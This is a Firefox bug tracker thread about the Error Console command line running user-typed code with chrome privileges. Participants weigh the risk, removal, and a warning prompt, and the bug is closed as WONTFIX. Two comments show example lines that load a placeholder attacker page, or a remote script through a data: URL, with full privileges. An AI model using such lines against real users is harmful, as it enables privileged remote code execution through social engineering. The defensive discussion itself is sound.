Error console command line is insecure.

RESOLVED WONTFIX

Status

Toolkit Graveyard
Error Console
RESOLVED WONTFIX
9 years ago
2 years ago

People

(Reporter: John J. Barton, Unassigned)

Tracking

({sec-want})

Trunk
sec-want

Details

(Whiteboard: [sg:want P5])

(Reporter)

Description

9 years ago
From the mozilla.dev.platform newsgroup:

> The eval() method would allow a user to type in code that would allow a
> > web page to gain control of the user's computer. That is why Firebug
> > removed its eval() based console implementation in 1.2.

AFAIK the firebug implementation is quite different than the error
console. The firebug console is run with content permissions while the
error console is run with chrome privileges. Whether this should be
changed is entirely another conversation (IMO it shouldn't), but the
current implementation allows for the very same thing. Simply type in
| location = http://www.evil.com | and watch it load, with full chrome
privileges. In firebug's impl. it can be quite disastrous to eval bad
code, in Firefox's it's pretty much disastrous no matter how this is
approached.

Frankly, if you can give me a use case where a javascript: url would
be more secure than simply using eval() I would appreciate it!
(Reporter)

Comment 1

9 years ago
I have no information about the security of the javascript: url approach, but the newsgroup post makes it sound insecure. Maybe there is more difference from the Firebug case than I realize.
(In reply to comment #0)
> current implementation allows for the very same thing. Simply type in
> | location = http://www.evil.com | and watch it load, with full chrome
> privileges. In firebug's impl. it can be quite disastrous to eval bad
> code, in Firefox's it's pretty much disastrous no matter how this is
> approached.

Now that I think of it, that statement as it stands might not be altogether true. I'm not 100% familiar with security policies and such, but I know there's a concept of "inheriting" the principal of the document which only happens when the url is a data: or javascript: url. Either way, this is really immaterial to this discussion as the danger is still there, only you have to type in something like:

location = "data:text/html,<html><body><script src='somebadesript.com'></script></body></html>

IIUC this will load that script with chrome privileges...
OS: Windows XP → All
Hardware: x86 → All
(Reporter)

Comment 3

9 years ago
Ok, sorry I started off in this direction. Now I realize why Firebug differs from the Error Console.

The security problem in Firebug 1.0 was the 'console' window object, not the command line. The console object was added to every page and exposed users to attack long after they activated the security hole. A realistic scenario would include users examining a suspect page with Firebug, only to become a victim.

The Error Console command line does allow users to enter code that would allow a page to attack them, but this is a much lower risk, closer to a phishing attack. The attacker would have to convince users to open the error console and type, a very high bar.
(In reply to comment #2)
> location = "data:text/html,<html><body><script
> src='somebadesript.com'></script></body></html>
> 
> IIUC this will load that script with chrome privileges...

Yes, it will, presumably what someone who knows enough to do that kind of thing
on the error console wanted (easier to do that then enter line after line in
the little console box).

I don't think this bug needs to be security-sensitive. For one thing it's based
on a public newsgroup post, and if a chrome-privileged command-line is a useful
tool to keep around then it's better to be public about the fact that it is a
*sharp* tool. But is the edit box chrome-privileged because someone needed it
to be, or happenstance because it's embedded in a chrome window?

I'm not up on the history of the command-line in the error console, but it
doesn't seem all that useful. Certainly not to the average user, and it's
pretty inadequate for anything serious. Can we remove it? Heck, if command-line
functionality is useful I'd rather build in a version of Jesse's "shell", at
least scripts run in the context of the user's page. If we can't remove it can
we drop privilege on it?
Group: core-security
Whiteboard: [sg:investigate]
(Reporter)

Comment 5

9 years ago
> I don't think this bug needs to be security-sensitive. For one thing it's based
> on a public newsgroup post, and if a chrome-privileged command-line is a useful
> tool to keep around then it's better to be public about the fact that it is a
> *sharp* tool. But is the edit box chrome-privileged because someone needed it
> to be, or happenstance because it's embedded in a chrome window?

The original post discussed the lack-of security in the eval() proposal. I did not want to continue any discussion of the current command line security in public if in fact it is insecure. By now I think it is ok: insecure but only by users direct and difficult actions.

I believe the current error console command line is old, so the answer to your question is "hapenstance".

jjb
window.open is problematic as well...
(In reply to comment #5)
> The original post discussed the lack-of security in the eval() proposal. I did
> not want to continue any discussion of the current command line security in
> public if in fact it is insecure. By now I think it is ok: insecure but only by
> users direct and difficult actions.

I can't speak for anyone else but for me using window.open from the error console was a simple way to get a browser window open when all I had was the error console, now I realize the issues involved with doing that...
> I believe the current error console command line is old, so the answer to your
> question is "hapenstance".

It's actually the only place in Firefox where you can easily test stuff that needs chrome privileges, at least I find it very useful... Of course the simple answer to that is either use firebug on a chrome page or make your own extension for that. Since this really is a user app, perhaps the privileges should be demoted...
People do commonly make use of the fact that the console is privileged, see e.g. bug 328932, and https://places-stats.mozilla.com/ .

Whether we should break them is a slightly harder question to answer. Developers wanting to test things out in the browser and people wanting to submit places stats could probably live with having to install an addon, but the Error Console has also proven useful in the past as a way to help debug end-user problems, where add-on installation might be a needless hurdle.

It's not clear to me that the security benefit from removing it would outweigh the benefits of having it, and I think that's largely due to the lack of evidence that it has actually caused trouble in practice.
(Reporter)

Comment 9

9 years ago
I propose we take the security cover off of this bug and dupe it to 156396.
The security flag was removed, and this seems completely unrelated to bug 156396.
(In reply to comment #8)
IMHO it isn't good practice to recommend users to run scripts in the error console as that is bound to expose this bug even more. Say userA runs the places-stats stuff, then goes to another evil website and reads some instructions that include running code in the error console. UserA has no idea what "privileged code" means and since he used the console once to run some code for Mozilla, he'll assume that there's nothing wrong with it... kaboom!

(I know there's a large warning label _in_red_ on the places-stats page, but seriously, who reads that stuff??)
What *may* be useful here is to notify the user when they use the error console's command line with a popup, something like:

------------------------------------------------------------
| @@                                                       |
| @@                                                       |
|    You are evaluating a script in an unsecure context,   |
|    if you are unsure of what this is, hit "Cancel.       |
|                                                          |
|                                ____________   __________ |
|  [] Remember my choice         | Continue |   | Cancel | |
|                                ------------   ---------- |
------------------------------------------------------------

(sorry for the atrocious ascii graphics)
The truth is that it shouldn't be possible at all to run scripts in a privileged context anytime it comes over the net (i.e. if it's not coming from a chrome document). Iow, channels should not inherit the privileged context they're loaded from unless they are chrome, data, javascript, etc. type protocols. Tangentially related, but not really this bug...

Updated

8 years ago
Whiteboard: [sg:investigate] → [sg:want P5]
Keywords: sec-want
The Error Console has been removed in favor of the Browser Console (see Bug 1278368), and the component is going to be removed.  If this bug is also relevant in the Browser Console, please reopen and move this into Firefox -> Developer Tools: Console.
Status: NEW → RESOLVED
Last Resolved: 2 years ago
Resolution: --- → WONTFIX
I am mass-reopening and re-componenting every single one of the Toolkit:Error Console bugs that appear to have been closed without anyone even *glancing* at whether they were relevant to the Browser Console.

If you want to close a whole bunch of old bugs -- FOR ANY REASON -- it is YOUR RESPONSIBILITY to check EVERY SINGLE ONE OF THEM and make sure they are no longer valid.  Do not push that work onto the bug reporters.

(It's okay to close bugs that haven't been touched in years when they don't have enough information for you to figure out whether the problem is still relevant to the current software - the reporter probably isn't coming back to clarify.  But that is the ONLY situation where it is okay.)

(I'm going to have to do this in two steps because of the way the "change several bugs at once" form works.  Apologies for the extra bugspam.)
Status: RESOLVED → REOPENED
Component: Error Console → Developer Tools: Console
Product: Toolkit → Firefox
Resolution: WONTFIX → ---
Version: 1.9.1 Branch → Trunk
There's a pref needed to run commands in the Browser Console: https://developer.mozilla.org/en-US/docs/Tools/Browser_Console#Browser_Console_command_line
Status: REOPENED → RESOLVED
Last Resolved: 2 years ago2 years ago
Component: Developer Tools: Console → Error Console
Product: Firefox → Toolkit
Resolution: --- → WONTFIX
(Assignee)

Updated

2 years ago
Product: Toolkit → Toolkit Graveyard
You need to log in before you can comment on or make changes to this bug.